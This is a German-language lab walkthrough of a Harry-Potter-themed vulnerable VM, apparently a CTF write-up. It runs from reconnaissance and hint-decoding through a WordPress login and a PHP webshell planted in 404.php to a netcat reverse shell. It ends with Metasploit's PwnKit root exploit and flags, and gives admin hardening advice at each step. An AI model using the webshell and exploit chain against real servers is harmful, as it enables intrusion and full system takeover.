192.168.2.191 08:00:27:9e:83:20 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerksegment zu identifizieren.
Bewertung: Ein Host mit der IP `192.168.2.191` wird gefunden. Die MAC-Adresse (`08:00:27:9e:83:20`, PCS Systemtechnik GmbH) ist ein typischer Indikator für eine VirtualBox-VM.
Empfehlung (Pentester): Verwende `192.168.2.191` als Ziel-IP für weitere Scans.
Empfehlung (Admin): Standard Netzwerkerkennung.
[Inhalt der /etc/hosts Datei nach der Bearbeitung] 192.168.2.191 dobby.vln
Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um den Hostnamen `dobby.vln` der IP `192.168.2.191` zuzuweisen.
Bewertung: Erleichtert das Ansprechen des Ziels über einen Hostnamen, was für Web-Interaktionen nützlich ist.
Empfehlung (Pentester): Verwende `dobby.vln` in nachfolgenden Befehlen.
Empfehlung (Admin): Clientseitige Konfiguration.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-12 17:23 CEST Nmap scan report for dobby.vln (192.168.2.191) Host is up (0.00016s latency). Not shown: 65534 closed tcp ports (reset) PRT STATE SERVICE VERSIN 80/tcp open http Apache httpd 2.4.46 ((Ubuntu)) |_http-title: Draco:dG9vIGVhc3kgbm8/IFBvdHRlcg== |_http-server-header: Apache/2.4.46 (Ubuntu) MAC Address: 08:00:27:9E:83:20 (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 S details: Linux 4.15 - 5.6 Network Distance: 1 hop TRACERUTE HP RTT ADDRESS 1 0.16 ms dobby.vln (192.168.2.191)
Analyse: Ein umfassender Nmap-Scan (`-sS -sC -sV -T5 -A -p-`) wird durchgeführt.
Bewertung: * **Nur Port 80 (HTTP):** Es ist nur der Webserver-Port offen. Apache 2.4.46 (Ubuntu) läuft darauf. * **Seitentitel:** Enthält einen Benutzernamen und einen Base64-kodierten String: `Draco:dG9vIGVhc3kgbm8/IFBvdHRlcg==`. * **Kein SSH:** Anders als in vielen vorherigen Berichten ist Port 22 (SSH) nicht offen.
Empfehlung (Pentester):** Dekodiere den Base64-String aus dem Seitentitel. Untersuche den Webserver auf Port 80 intensiv, da dies der einzige Einstiegspunkt zu sein scheint.
Empfehlung (Admin):** Apache aktuell halten. Keine sensiblen Informationen oder kodierten Strings im Seitentitel hinterlassen. Überprüfe, ob SSH wirklich nicht benötigt wird oder auf einem anderen Port/einer anderen IP lauscht.
80/tcp open http Apache httpd 2.4.46 ((Ubuntu))
Analyse: Gefilterter Nmap-Scan zur Bestätigung.
Bewertung: Bestätigt nur Port 80 (HTTP).
- Nikto v2.5.0 [...] + Server: Apache/2.4.46 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + No CGI Directories found [...] + Apache/2.4.46 appears to be outdated [...]. + /: Server may leak inodes via ETags [...]. + OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS . + /phpinfo.php: Output from the phpinfo() function was found. <-- Wichtig! + /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. [...] [...] + 1 host(s) tested
Analyse: Nikto wird gegen Port 80 ausgeführt.
Bewertung:** Nikto bestätigt den veralteten Apache und fehlende Header. **Wichtiger Fund:** Es existiert eine `phpinfo.php`-Datei. Diese Datei gibt detaillierte Informationen über die PHP-Konfiguration, geladene Module, Umgebungsvariablen und potenziell sensible Pfade preis.
Empfehlung (Pentester):** Rufe `http://dobby.vln/phpinfo.php` auf und analysiere die Ausgabe sorgfältig auf interessante Konfigurationen (z.B. `allow_url_include`, `disable_functions`), Modulversionen mit bekannten Schwachstellen oder Pfadinformationen.
Empfehlung (Admin):** Entferne `phpinfo.php`-Dateien von Produktionsservern. Konfiguriere PHP sicher (z.B. `expose_php = Off`).
[...] http://dobby.vln/DiagonAlley/index.php (Status: 301) [Size: 0] [--> http://dobby.vln/DiagonAlley/] http://dobby.vln/DiagonAlley/wp-content (Status: 301) [Size: 323] [--> http://dobby.vln/DiagonAlley/wp-content/] http://dobby.vln/DiagonAlley/wp-login.php (Status: 200) [Size: 7993] http://dobby.vln/DiagonAlley/license.txt (Status: 200) [Size: 19915] http://dobby.vln/DiagonAlley/wp-includes (Status: 301) [Size: 324] [--> http://dobby.vln/DiagonAlley/wp-includes/] http://dobby.vln/DiagonAlley/readme.html (Status: 200) [Size: 7278] http://dobby.vln/DiagonAlley/wp-trackback.php (Status: 200) [Size: 136] http://dobby.vln/DiagonAlley/wp-admin (Status: 301) [Size: 321] [--> http://dobby.vln/DiagonAlley/wp-admin/] http://dobby.vln/index.html (Status: 200) [Size: 10977] http://dobby.vln/log (Status: 200) [Size: 45] <-- Wichtig! [...]
Analyse: Gobuster wird verwendet, um Verzeichnisse und Dateien auf dem Webserver zu finden.
Bewertung:** Die Ergebnisse sind sehr aufschlussreich: * **/DiagonAlley/:** Eine WordPress-Installation wird im Unterverzeichnis `/DiagonAlley/` gefunden (viele `wp-` Dateien/Pfade). * **/log:** Eine Datei oder ein Verzeichnis namens `log` wird im Wurzelverzeichnis gefunden.
Empfehlung (Pentester):** Untersuche `/log`. Konzentriere dich auf die WordPress-Installation unter `/DiagonAlley/` (führe `wpscan` aus, prüfe Login etc.).
Empfehlung (Admin):** Verstecke oder entferne WordPress-Installationen in Unterverzeichnissen, wenn sie nicht öffentlich sein sollen. Entferne unnötige Dateien wie `/log`.
Analyse:** Untersuchung der gefundenen `/log`-Datei und anderer Hinweise.
pass:jppbGlrZXNvY2tz
iliketoclimb
Draco:dG9vIGVhc3kgbm8/IFBvdHRlcg==
too easy no? Potter
Draco's password is his house ;)
Analyse: * Die `/log`-Datei enthält einen Base64-kodierten String nach "pass:", der zu `iliketoclimb` dekodiert wird. Dies könnte ein Passwort sein. * Der Base64-String aus dem HTML-Titel (von Nmap gefunden) wird dekodiert und ergibt eine Nachricht im Harry-Potter-Kontext. * Im Quelltext der Startseite wird ein Kommentar gefunden, der auf `/alohomora` verweist. * Der Aufruf von `/alohomora/index.html` (Verzeichnis `/alohomora` muss existieren und Directory Indexing aktiv sein oder index.html die Standarddatei sein) liefert den Hinweis: "Draco's password is his house ;)".
Bewertung: Mehrere Hinweise wurden gefunden: * Potenzielles Passwort: `iliketoclimb`. * Potenzieller Benutzer (aus Nmap-Titel): `Draco`. * Passworthinweis für `Draco`: Sein Haus in Hogwarts. Diese Informationen müssen nun kombiniert und überprüft werden.
Empfehlung (Pentester):** Recherchiere Dracos Haus in Harry Potter (Slytherin). Versuche WordPress-Login für `Draco` mit `slytherin` und `iliketoclimb`. Führe `wpscan` aus, um den Benutzernamen `Draco` zu bestätigen.
Empfehlung (Admin):** Speichere keine Passwörter oder Hinweise (auch nicht kodiert) in öffentlich zugänglichen Dateien/Verzeichnissen oder HTML-Kommentaren.
[...] dobby por DracoPublicada el7 de noviembre de 2020 [...] +++++ +++++ [->++ +++++ +++<] >.<++ +[->+ ++<]> ++.<+ ++[-> —<] >—- ..<++ ++[-> ++++< ]>+++ ++++. <++++ [->– –<]> .<+++ [->++ +<]>+ .<+++ +[->- —<] >–.< ++++[ ->+++ +<]>+ +++.- -.<++ +[->- –<]> —– .<+++ [->++ +<]>+ +++.< [...]
donn…… ‹Ÿ š§ <-- Ergibt keinen sinnvollen Text
Analyse: Auf der WordPress-Seite (`/DiagonAlley/`) wird ein Beitrag vom Autor "Draco" gefunden, der Brainfuck-Code enthält. Der Versuch, diesen zu dekodieren, scheitert bzw. ergibt keinen sinnvollen Text.
Bewertung: Der Brainfuck-Code scheint eine falsche Fährte oder ein ungelöstes Rätsel zu sein. Der Benutzername `Draco` wird jedoch bestätigt.
Empfehlung (Pentester):** Ignoriere den Brainfuck-Code vorerst. Konzentriere dich auf den Login mit `Draco` und dem Passwort `slytherin`.
Empfehlung (Admin):** Keine Aktion.
[...] [i] User(s) Identified: [+] draco | Found By: Author Posts - Author Pattern (Passive Detection) | Confirmed By: | Wp Json Api (Aggressive Detection) [...] [+] Draco | Found By: Rss Generator (Passive Detection) [...]
Analyse: `wpscan` wird zur Benutzerenumeration gegen `/DiagonAlley/` ausgeführt.
Bewertung:** Bestätigt den Benutzernamen `draco` (und eine Variante `Draco`).
Empfehlung (Pentester):** Login-Versuch mit `draco:slytherin`.
Empfehlung (Admin):** Benutzerenumeration erschweren.
[...] Draco Lucius Malfoy is [...] student [...] belonging in the Slytherin house [...] House: Slytherin
Analyse: Eine Google-Suche bestätigt, dass Draco Malfoys Haus in Harry Potter "Slytherin" ist.
Bewertung: Kombiniert mit dem Hinweis aus `/alohomora`, ist `slytherin` das wahrscheinlichste Passwort für den Benutzer `draco`.
Empfehlung (Pentester):** WordPress-Login mit `draco:slytherin` versuchen.
Empfehlung (Admin):** Verwende keine leicht zu erratenden oder themenbasierten Passwörter.
Username: draco Password: slytherin [Login erfolgreich - Weiterleitung zum WordPress Admin Dashboard]
Analyse: Login-Versuch am WordPress-Admin mit den ermittelten Credentials `draco:slytherin`.
Bewertung: **Login erfolgreich!** Zugriff auf das WordPress-Dashboard als `draco` wurde erlangt.
Empfehlung (Pentester):** Suche nach RCE-Möglichkeiten (Theme-/Plugin-Editor, Uploads).
Empfehlung (Admin):** Starke Passwörter verwenden.
[...]
Analyse: Der Theme-Editor wird verwendet, um die `404.php` des aktiven Themes (Twenty Nineteen) zu bearbeiten. Der Code `system($_GET['cmd']);` wird eingefügt, um eine RCE-Backdoor zu schaffen.
Bewertung:** **RCE vorbereitet!** Der Benutzer `draco` hat die Berechtigung, Theme-Dateien zu bearbeiten, was zur Codeausführung führt.
Empfehlung (Pentester):** Rufe die modifizierte `404.php` mit einem Befehl im `cmd`-Parameter auf, um RCE zu bestätigen und eine Reverse Shell zu starten.
Empfehlung (Admin):** Theme-Editor deaktivieren (`DISALLOW_FILE_EDIT`), minimale Benutzerrechte.
404.php archive.php [...] style.scss template-parts
Analyse: Die Backdoor in `404.php` wird getestet, indem der `ls`-Befehl ausgeführt wird.
Bewertung:** **RCE bestätigt!** Der Server führt den Befehl aus und listet die Dateien im Theme-Verzeichnis auf. Die Shell läuft als Webserver-Benutzer (vermutlich `www-data`).
Empfehlung (Pentester):** Reverse Shell starten.
Empfehlung (Admin):** Theme-Editor deaktivieren.
listening on [any] 5555 ...
[Keine relevante Ausgabe von curl]
listening on [any] 5555 ... connect to [192.168.2.105] from (UNKNOWN) [192.168.2.191] 36046 bash: cannot set terminal process group (703): Inappropriate ioctl for device bash: no job control in this shell www-data@HogWarts:/var/www/html/DiagonAlley/wp-content/themes/twentynineteen$
Analyse: Ein Netcat-Listener wird gestartet. Die 404-Backdoor wird mit einem Bash-Reverse-Shell-Payload aufgerufen.
Bewertung:** **Initial Access als `www-data` erfolgreich!** Die Reverse Shell verbindet sich zurück zum Angreifer. Die Shell läuft als `www-data` auf dem Host `HogWarts`.
Empfehlung (Pentester):** Stabilisiere die Shell, beginne Post-Exploitation.
Empfehlung (Admin):** Theme-Editor deaktivieren, Webserver-Benutzerrechte einschränken.
Ziel des POC: Demonstrieren, wie durch Ausnutzung von Hinweisen auf der Webseite und im Quelltext WordPress-Zugangsdaten (`draco:slytherin`) ermittelt, eine RCE-Backdoor über den Theme-Editor platziert und eine Reverse Shell als `www-data` erlangt wird.
Voraussetzungen: Webserver auf Port 80, WordPress unter `/DiagonAlley`, Admin-Zugang, Theme-Editor-Berechtigung, Tools (`curl`, `nc`, Webbrowser).
Schritte: Hinweise finden (`/alohomora`, Google Search) -> WP-Login (`draco:slytherin`) -> 404.php bearbeiten (RCE-Code einfügen) -> Listener starten -> Reverse Shell via URL-Aufruf auslösen.
[...] Connection received [...] www-data@HogWarts:/...$
Ergebnis & Bewertung: **Initialer Zugriff als `www-data` erfolgreich!** WordPress-Fehlkonfigurationen und Admin-Zugang ermöglichten die Shell.
Empfehlung (Pentester): Post-Exploitation.
Empfehlung (Admin):** WordPress härten (Credentials, Theme-Editor).
Analyse:** Enumeration als `www-data`.
[...]
define( 'DB_NAME', 'WordPressDB' );
define( 'DB_USER', 'Draco' );
define( 'DB_PASSWORD', 'slytherin' );
[...]
Analyse: Die `wp-config.php` wird ausgelesen.
Bewertung: Enthält die Datenbank-Credentials: Benutzer `Draco` mit Passwort `slytherin`. Diese sind identisch mit den WordPress-Admin-Credentials.
Empfehlung (Pentester):** Keine neuen Credentials. Untersuche Home-Verzeichnisse und SUID-Dateien.
Empfehlung (Admin):** Verwende separate, starke Passwörter für Datenbankbenutzer.
total 92 drwxr-xr-x 16 dobby dobby 4096 Nov 7 2020 . drwxr-xr-x 3 root root 4096 Nov 7 2020 .. [...] -rw-rw-r-- 1 dobby dobby 106 Nov 7 2020 flag1.txt -r--r--r-- 1 root root 755 Nov 7 2020 sudoers <-- Interessant! Lesbar für www-data? [...]
Command 'cat' not found, but can be installed with: apt install coreutils Please ask your administrator.
"Harry potter this year should not go to the school of wizardry"
flag1{28327a4964cb391d74111a185a5047ad}
Analyse: Das Home-Verzeichnis `/home/dobby` wird untersucht. Es enthält `flag1.txt` und eine Datei namens `sudoers`. Der `cat`-Befehl ist nicht im Pfad des `www-data`-Benutzers, aber `tail` funktioniert, um `flag1.txt` zu lesen.
Bewertung: **User-Flag gefunden!** `flag1{28327a4964cb391d74111a185a5047ad}`. Der Fund einer `sudoers`-Datei im Home-Verzeichnis ist extrem ungewöhnlich und deutet auf eine Fehlkonfiguration oder einen Hinweis hin. Der fehlende `cat`-Befehl ist eine kleine Hürde, die mit `tail` umgangen wird.
Empfehlung (Pentester):** Notiere die User-Flag. Untersuche die lokale `sudoers`-Datei auf Unterschiede zur Systemdatei (`/etc/sudoers`). Suche nach SUID-Binaries.
Empfehlung (Admin):** Speichere Konfigurationsdateien wie `sudoers` nicht in Home-Verzeichnissen. Stelle sicher, dass Standardbefehle wie `cat` im Pfad des Webservers verfügbar sind (oder beschränke die Shell bewusst).
[...] 1167 227 -rwsr-xr-x 1 root root 232416 Apr 3 20:00 /snap/core22/817/usr/bin/sudo [...] 1977 146 -rwsr-xr-x 1 root root 149080 Apr 4 14:44 /snap/core18/2785/usr/bin/sudo [...] 1927 146 -rwsr-xr-x 1 root root 149080 Jan 31 2020 /snap/core18/1932/usr/bin/sudo [...] 666881 24 -rwsr-xr-x 1 root root 22840 Aug 3 2020 /usr/libexec/polkit-agent-helper-1 <-- Teil von Polkit [...] 655235 180 -rwsr-xr-x 1 root root 182472 Jul 8 2020 /usr/bin/sudo [...] 655013 32 -rwsr-xr-x 1 root root 31032 Aug 3 2020 /usr/bin/pkexec <-- PwnKit-Ziel! [...]
Analyse: Suche nach SUID-Binaries als `www-data`.
Bewertung: Findet diverse `sudo`-Instanzen (hauptsächlich in Snap-Paketen) und `/usr/bin/pkexec`. `pkexec` ist das Ziel für den PwnKit-Exploit (CVE-2021-4034).
Empfehlung (Pentester):** Versuche PwnKit. Prüfe `sudo -l` für `www-data` (obwohl die lokale `sudoers`-Datei verdächtiger ist).
Empfehlung (Admin):** Polkit patchen, SUID-Berechtigungen prüfen.
Analyse:** Der Bericht nutzt Metasploit zur Ausnutzung von PwnKit.
[*] Command shell session 1 opened [...]
[*] Meterpreter session 2 opened [...]
[*] Started reverse TCP handler on 192.168.2.105:4444 [*] Running automatic check [...] [+] The target is vulnerable. [*] Writing [...] [*] Sending stage [...] [+] Deleted [...] [*] Meterpreter session 3 opened (192.168.2.105:4444 -> 192.168.2.191:33594) [...]
Analyse: Eine Python-basierte Reverse Shell wird von der `www-data`-Shell zu Metasploit (Port 4444) aufgebaut. Diese wird zu Meterpreter (Session 2, Port 4433) aufgewertet. Anschließend wird der PwnKit-Exploit (CVE-2021-4034) gegen Session 2 ausgeführt.
Bewertung:** **PwnKit erfolgreich!** Der Exploit funktioniert und liefert eine neue Meterpreter-Session (Session 3) mit Root-Rechten.
Empfehlung (Pentester):** Wechsle zu Session 3 und bestätige Root-Rechte.
Empfehlung (Admin):** Polkit patchen!
Server username: root
Process [...] created. Channel [...] created.
proof.txt snap
Command 'cat' not found,
\| THE `.\
_ _ _ _ __ _ __ _ /_
(_`/ \|_)/ '|_ |_)|_ |_)(_
._)\_/| \\_,|__| \|__| \ _)
_ ___ _ _
(_` | / \|\ ||__
._) | \_/| \||___
root{63a9f0ea7bb98050796b649e85481845!!}
Analyse: Die Root-Rechte werden in Meterpreter bestätigt (`getuid`). Eine Shell wird geöffnet. Im `/root`-Verzeichnis wird `proof.txt` gefunden. Da `cat` immer noch fehlt, wird `tail` verwendet, um den Inhalt anzuzeigen.
Bewertung:** **Root-Flag gefunden!** Die Datei `proof.txt` enthält ASCII-Art und die Flag `root{63a9f0ea7bb98050796b649e85481845!!}`.
Empfehlung (Pentester):** Test abgeschlossen.
Empfehlung (Admin):** Keine Aktion für diesen Schritt, Fokus auf Verhinderung der PE.
Ziel des POC: Demonstrieren, wie nach Erlangung einer initialen Shell (als `www-data`) durch Ausnutzung der PwnKit-Schwachstelle (CVE-2021-4034) mittels Metasploit vollständige Root-Rechte erlangt werden können.
Voraussetzungen: Shell als `www-data`, anfälliges Polkit (`pkexec`), Metasploit, Netzwerkverbindung.
Schritte: Reverse Shell zu Metasploit -> Upgrade zu Meterpreter -> PwnKit-Exploit ausführen -> Root-Shell erhalten.
[...] [+] The target is vulnerable. [...] [*] Meterpreter session 3 opened [...]
Server username: root
Ergebnis & Bewertung: **Privilege Escalation via PwnKit erfolgreich!**
Empfehlung (Pentester): Flags extrahieren.
Empfehlung (Admin): Polkit patchen.